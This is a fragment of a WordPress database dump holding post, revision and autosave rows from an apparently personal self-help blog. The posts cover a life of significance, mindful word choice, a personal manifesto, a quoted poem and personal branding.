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(5, 1, '2009-03-11 14:39:35', '2009-03-11 18:39:35', 'http://www.pullinc.com/whc/wp-content/uploads/2009/03/download_exporthtm.import', 'download_exporthtm.import', 0, '', 'inherit', 'open', 'open', '', 'download_exporthtmimport', '', '', '2009-03-11 14:39:35', '2009-03-11 18:39:35', '', 0, 'http://www.pullinc.com/whc/wp-content/uploads/2009/03/download_exporthtm.import', 0, 'attachment', '', 0),
(8, 2, '2009-03-27 16:52:11', '2009-03-27 23:52:11', '<img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="450" height="283" />\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">What''s the difference between pursuing a successful life, or a life of significance? On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satisfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'publish', 'open', 'open', '', 'meaning-contribution-significance', '', '', '2010-12-27 17:02:48', '2010-12-28 00:02:48', '', 0, 'http://www.whitehotcenter.com/2009/03/meaning-contribution-significance.html', 0, 'post', '', 2),
(1400, 2, '2010-12-27 17:00:07', '2010-12-28 00:00:07', '<img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="405" height="255" />\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">What''s the difference between pursuing a successful life, or a life of significance? On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satidfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-19', '', '', '2010-12-27 17:00:07', '2010-12-28 00:00:07', '', 8, 'http://www.whitehotcenter.com/2010/12/27/8-revision-19/', 0, 'revision', '', 0),
(9, 2, '2009-03-24 09:46:54', '2009-03-24 16:46:54', '<h2><span style="color: #bf5f00;">On this journey\r\nthe way is unmarked,\r\nthere are no maps.\r\nThe terrain is steep and rocky.</span></h2>\r\n<h2><span style="color: #bf5f00;">Each day, trusting my feet, steadfast in my purpose,\r\nI go forward, my eyes on the horizon.</span></h2>\r\n<h2><span style="color: #bf5f00;">In awe of every potential and possibility,\r\nI travel light, experiencing the freedom\r\nof every movement\r\ntowards my heart''s desire.</span></h2>\r\n<h2><span style="color: #bf5f00;">Blessed is my quest,\r\nknowing all too well,\r\nthis journey\r\nwill end soon enough.</span></h2>', 'On this journey.', 0, 'On this journey the way is unmarked, there are no maps. The terrain is steep and rocky. Each day, trusting my feet, steadfast in my purpose, I go forward, my eyes on the horizon. In awe of every potential and...\r\n', 'publish', 'open', 'open', '', 'on-this-journey', '', '', '2009-06-24 12:59:41', '2009-06-24 19:59:41', '', 0, 'http://www.whitehotcenter.com/2009/03/on-this-journey.html', 0, 'post', '', 0),
(45, 1, '2009-07-08 16:36:27', '2009-07-08 23:36:27', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignnone" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="450" height="222" /></a><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\n\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\n\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\n', 'inherit', 'open', 'open', '', '10-autosave', '', '', '2009-07-08 16:36:27', '2009-07-08 23:36:27', '', 10, 'http://www.whitehotcenter.com/10-autosave', 0, 'revision', '', 0),
(10, 2, '2009-03-08 13:55:51', '2009-03-08 20:55:51', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="size-full wp-image-55 alignnone" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="450" height="222" /></a><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?<!--more-->\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\n<strong>Words are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.</strong>', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'publish', 'open', 'open', '', 'talk-isnt-cheap', '', '', '2009-07-08 16:35:22', '2009-07-08 23:35:22', '', 0, 'http://www.whitehotcenter.com/2009/03/talk-isnt-cheap.html', 0, 'post', '', 0),
(11, 2, '2009-02-22 11:59:02', '2009-02-22 18:59:02', 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people. For me, this is a public declaration of the most important principals that guide my participation in life. I run all my thinking and decision-making through this filter.\r\n\r\nMy manifesto is the result of everything I have learned about living so far. It is a clear statement of what guides me to the grandest expression of all I am capable of and all I desire. I share mine as a reference point for you to think about crafting your own manifesto. When you have completed it to your satisfaction, display it in a public place where you and others can read it on a regular basis.\r\n<h2 style="color: #bf5f00;">Thomson Dawson:\r\nA manifesto for living an extraordinary life.</h2>\r\n<ol>\r\n	<li>as you think, so it is</li>\r\n	<li>know what you want, be open for something better.</li>\r\n	<li>what you do must matter to you and others</li>\r\n	<li>start with what’s at hand</li>\r\n	<li>as you live in your days, you craft your futue</li>\r\n	<li>embrace simplicity</li>\r\n	<li>the best idea is the one you think can’t be done</li>\r\n	<li>be differnet, make a difference</li>\r\n	<li>provide more use value than you get in cash value</li>\r\n	<li>create / design experiences people love</li>\r\n	<li>people are more important than money</li>\r\n	<li>really listen</li>\r\n	<li>intuition over conventional wisdom</li>\r\n	<li>daydream often</li>\r\n	<li>focus on the important, handle the urgent</li>\r\n	<li>forget what you know</li>\r\n	<li>beware of comfort</li>\r\n	<li>leadership is service in disguise</li>\r\n	<li>to thine own self be true, no exceptions</li>\r\n	<li>play on the edges</li>\r\n	<li>give thanks, give back.</li>\r\n</ol>\r\nWhat inspired me to share my own Manifesto here on the WHC, was the result of an encounter with a brilliant woman named <a href="http://www.whitehottruth.com">Danielle Laporte</a>. Check her out and I highly recommend you engaging in her Firestarter Sessions. You''ll be glad that you did!', 'My White Hot Center Manifesto', 0, 'Everyone might benefit from writing a manifesto... a public declaration of principals that guide your actions in the world, and create an authentic identity around who you are, what you do with your life and how it matters to people....\r\n', 'publish', 'open', 'open', '', 'my-white-hot-center-manifesto', '', '', '2009-06-23 18:48:10', '2009-06-24 01:48:10', '', 0, 'http://www.whitehotcenter.com/2009/02/my-white-hot-center-manifesto.html', 0, 'post', '', 1),
(100, 1, '2009-07-06 15:26:40', '2009-07-06 22:26:40', 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just don''t trust it enough to take action on it because new beginnings don''t start out in physical form. Most people need proof to trust an idea. Humans are not easily persuaded by ideas taken on faith.\n\nIn one of our recent idea sessions about having faith in new beginnings, Pat shared this poem with me, and I want to pass it on to you because it beautifully frames up this idea that there is a seed of knowledge within all of us about what really matters that awaits our conscious arrival. I hope you enjoy it as much as I did.\n<h2><span style="color: #ff6600;">For a New Beginning</span></h2>\n<h2><span style="color: #ff6600;">In out-of-the-way places of the heart,\nWhere your thoughts never think to wander,\nThis beginning has been quietly forming,\nWaiting until you were ready to emerge.</span></h2>\n<h2><span style="color: #ff6600;">For a long time it has watched your desire,\nFeeling the emptiness growing inside you,\nNoticing how you willed yourself on,\nStill unable to leave what you had outgrown.</span></h2>\n<h2><span style="color: #ff6600;">It watched you play with the seduction of safety\nAnd the gray promises that sameness whispered,\nHeard the waves of turmoil rise and relent,\nWondered would you always live like this.</span></h2>\n<h2><span style="color: #ff6600;">Then the delight, when your courage kindled,\nAnd out you stepped onto new ground,\nYour eyes young again with energy and dream,\nA path of plenitude opening before you.</span></h2>\n<h2><span style="color: #ff6600;">Though your destination is not yet clear\nYou can trust the promise of this opening;\nUnfurl yourself into the grace of beginning\nThat is at one with your life''s desire.</span></h2>\n<h2><span style="color: #ff6600;">Awaken your spirit to adventure;\nHold nothing back, learn to find ease in risk;\nSoon you will be home in a new rhythm,\nFor your soul senses the world that awaits you.</span></h2>\n<span style="color: #333333;">- John O''Donohue -</span>\n\n<strong>What are you waiting for?</strong>', 'A New Beginning', 0, 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just...\n', 'inherit', 'open', 'open', '', '12-autosave', '', '', '2009-07-06 15:26:40', '2009-07-06 22:26:40', '', 12, 'http://www.whitehotcenter.com/12-autosave', 0, 'revision', '', 0),
(12, 2, '2009-02-16 09:22:43', '2009-02-16 16:22:43', 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just don''t trust it enough to take action on it because new beginnings don''t start out in physical form. Most people need proof to trust an idea. Humans are not easily persuaded by ideas taken on faith.\r\n\r\nIn one of our recent idea sessions about having faith in new beginnings, Pat shared this poem with me, and I want to pass it on to you because it beautifully frames up this idea that there is a seed of knowledge within all of us about what really matters that awaits our conscious arrival. I hope you enjoy it as much as I did.\r\n<h2><span style="color: #ff6600;">For a New Beginning</span></h2>\r\n<h2><span style="color: #ff6600;">In out-of-the-way places of the heart,\r\nWhere your thoughts never think to wander,\r\nThis beginning has been quietly forming,\r\nWaiting until you were ready to emerge.</span></h2>\r\n<h2><span style="color: #ff6600;">For a long time it has watched your desire,\r\nFeeling the emptiness growing inside you,\r\nNoticing how you willed yourself on,\r\nStill unable to leave what you had outgrown.</span></h2>\r\n<h2><span style="color: #ff6600;">It watched you play with the seduction of safety\r\nAnd the gray promises that sameness whispered,\r\nHeard the waves of turmoil rise and relent,\r\nWondered would you always live like this.</span></h2>\r\n<h2><span style="color: #ff6600;">Then the delight, when your courage kindled,\r\nAnd out you stepped onto new ground,\r\nYour eyes young again with energy and dream,\r\nA path of plenitude opening before you.</span></h2>\r\n<h2><span style="color: #ff6600;">Though your destination is not yet clear\r\nYou can trust the promise of this opening;\r\nUnfurl yourself into the grace of beginning\r\nThat is at one with your life''s desire.</span></h2>\r\n<h2><span style="color: #ff6600;">Awaken your spirit to adventure;\r\nHold nothing back, learn to find ease in risk;\r\nSoon you will be home in a new rhythm,\r\nFor your soul senses the world that awaits you.</span></h2>\r\n<span style="color: #333333;">- John O''Donohue -</span>\r\n\r\n<strong>What are you waiting for?</strong>', 'A New Beginning', 0, 'My friend and colleague Patrick Turner and I spend lots of time discussing ideas about starting anew. No matter where or in what circumstances, people seem to have an inherent knowledge about what is really important to them. They just...\r\n', 'publish', 'open', 'open', '', 'a-new-beginning', '', '', '2009-07-06 15:25:34', '2009-07-06 22:25:34', '', 0, 'http://www.whitehotcenter.com/2009/02/a-new-beginning.html', 0, 'post', '', 0),
(102, 1, '2009-02-09 17:26:26', '2009-02-10 00:26:26', '<p><a href="http://whc.fbdev.org/.a/6a00d834d6625a69e201116856cec2970c-pi" style="display: inline;"><img alt="Fish" class="at-xid-6a00d834d6625a69e201116856cec2970c " src="http://whc.fbdev.org/.a/6a00d834d6625a69e201116856cec2970c-320wi" /></a>\n<br /><span style="font-size: 20px; color: #bf5f00; font-family: Arial;"></span></p><p><span style="font-size: 20px; color: #bf5f00; font-family: Arial;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.&#0160; Then I thought fish don’t even know they’re wet.&#0160; That gave me an idea…</span></p><p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">Much like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.&#0160; Like fish, we don’t know we’re wet.</span></p><p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">We swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!&#0160; What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.</span></p><p style="font-size: 14px; color: #737373; font-family: Arial;"><span style="color: #5b5b5b;">You can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.</span></p>\n', 'Fish Don''t Know They''re Wet.', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\n', 'inherit', 'open', 'open', '', '13-revision', '', '', '2009-02-09 17:26:26', '2009-02-10 00:26:26', '', 13, 'http://www.whitehotcenter.com/13-revision', 0, 'revision', '', 0),
(13, 2, '2009-02-09 17:26:26', '2009-02-10 00:26:26', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\r\n<h2><span style="color: #ff6600;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet. That gave me an idea…</span></h2>\r\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\r\n\r\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\r\n\r\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\r\n', 'publish', 'open', 'open', '', 'fish-dont-know-they-are-wet', '', '', '2009-08-03 15:29:28', '2009-08-03 22:29:28', '', 0, 'http://www.whitehotcenter.com/2009/02/fish-dont-know-theyre-wet.html', 0, 'post', '', 2),
(106, 2, '2010-05-14 15:51:36', '2010-05-14 22:51:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, when properly positioned in the minds of your tribe, distinguishes you from others. Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds –it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. Only then will you own the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned. Your brand is the foundation on which your dreams and desires in life are built. I‘ll leave you to ponder this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-autosave', '', '', '2010-05-14 15:51:36', '2010-05-14 22:51:36', '', 14, 'http://www.whitehotcenter.com/14-autosave', 0, 'revision', '', 0),
(815, 2, '2009-08-03 15:23:31', '2009-08-03 22:23:31', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2><span style="color: #ff6600;">With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right your brand–you.</span></h2>\r\nBig marketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of customers. For the most part, brand marketing is on-going, in good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers, and grow their enterprise. Brands connect with us on deep emotional levels. The sum total of a customer’s perception and experiences with a product, company or service is called a brand.\r\n\r\n<strong>What’s this have to do with you?</strong>\r\nWell… everything! Whether you know it or not, like a brand, the manner in which you face the world represents something about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to your vibe. Your spouse, family, boss, colleagues, friends and your community at large (we’ll call these customers of your brand) are all experiencing some aspect of what your brand promises to them. In marketing parlance, we call this “brand experience”.\r\n<h2><span style="color: #ff6600;">In these uncertain times, my suggestion is for you to take a good hard look at your brand. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</span></h2>\r\n<strong>A new brand: YOU is up to you.</strong>\r\nJust like any product, YOU are a brand… you have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a brand called YOU, you need to be clear on who you are, what you offer and why what you offer is important to people (customers).\r\n\r\nWhen you are a brand… you will represent something meaningful beyond money making. You will have a solid value system that guides your decisions, you will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand is trusted by people who will sing your praises to others. If you happen to find yourself flying solo without a net, a positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. YOU are a brand. There are three main components to what make up a brand. Like three legs of a stool, they must be in harmonious alignment. Let’s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you–you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity distinguishes you from others and makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value. Value creation is the foundation of a brand’s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create? Do you over promise and under deliver?\r\n\r\nWhen these three components are all in sync you will have created a compelling, consistent and positive set of thoughts and associations in your customer’s minds. When (customers) people in your life think of your brand (you), naturally you want it to be uplifting and inspiring.  In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form a perception in people’s minds–it’s just not positive.\r\n\r\nAnd when customers (people in your life) have positive associations with your brand over time, you will have “brand equity” – the power within you to influence and make things happen in life that you desire. You will “own” the influence to shift demand for your offerings toward you and change things in your life for the better of all concerned.  Your brand is your foundation on which your dreams and desires in life are built upon. Give this some thought. I’ll leave you with one question:\r\n\r\n<span style="display: inline;"><strong>“What great work truly matters to you?</strong>\r\nWhen you know the answer, build your brand equity in that direction. As always, I welcome your thoughts… to your continued success.</span>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-8', '', '', '2009-08-03 15:23:31', '2009-08-03 22:23:31', '', 14, 'http://www.whitehotcenter.com/2009/08/03/14-revision-8/', 0, 'revision', '', 0);
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(103, 1, '2009-08-03 15:30:34', '2009-08-03 22:30:34', '<img class="alignnone size-full wp-image-104" title="fishdontknow" src="http://whc.fbdev.org/wp-content/uploads/2009/02/fishdontknow.jpg" alt="fishdontknow" width="320" height="348" />\n<h2><span style="color: #ff6600;">I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in.  Then I thought fish don’t even know they’re wet. That gave me an idea…</span></h2>\nMuch like fish, most people don’t know what they’re swimming in. People have little or no awareness to the truth of the stuff that makes up the physical reality we all swim in.  Like fish, we don’t know we’re wet.\n\nWe swim in a vast sea of thinking goo. All around us, yet unseen, is the stuff of possibility. In our rush to handle the urgency of our existence, we fail to see, and act on what is really important to us– what really matters. I would like to suggest if you are not involved with ideas and plans that really matter to you, then you are wasting valuable time. There is no better time than right now!  What you are doing right now is creating your future! Make sure it is in line with your passion, your greatest expression of all your unique gifts and talents. As you live in your days, you make your future. You have the power to make your life exactly as you desire. There is nothing in the outside world that can effect your future. Only you can do that. For the good, or not. The choice is always yours to make.\n\nYou can elevate your life by conscious endeavor, simply because you swim (live) in a thinking substance (potential manifestation) that is always favorable to your desires, infinite and abundant. The more you become aware of your creative nature and act on it, the more powerful you become and the richer your life experience will be.', 'Fish Don''t Know They''re Wet', 0, 'I was watching some tropical fish in an aquarium the other day. I was sitting there, just watching them swim around bumping into the glass, peaking through the surface of the water, completely unaware of what they were swimming in....\n', 'inherit', 'open', 'open', '', '13-autosave', '', '', '2009-08-03 15:30:34', '2009-08-03 22:30:34', '', 13, 'http://www.whitehotcenter.com/13-autosave', 0, 'revision', '', 0),
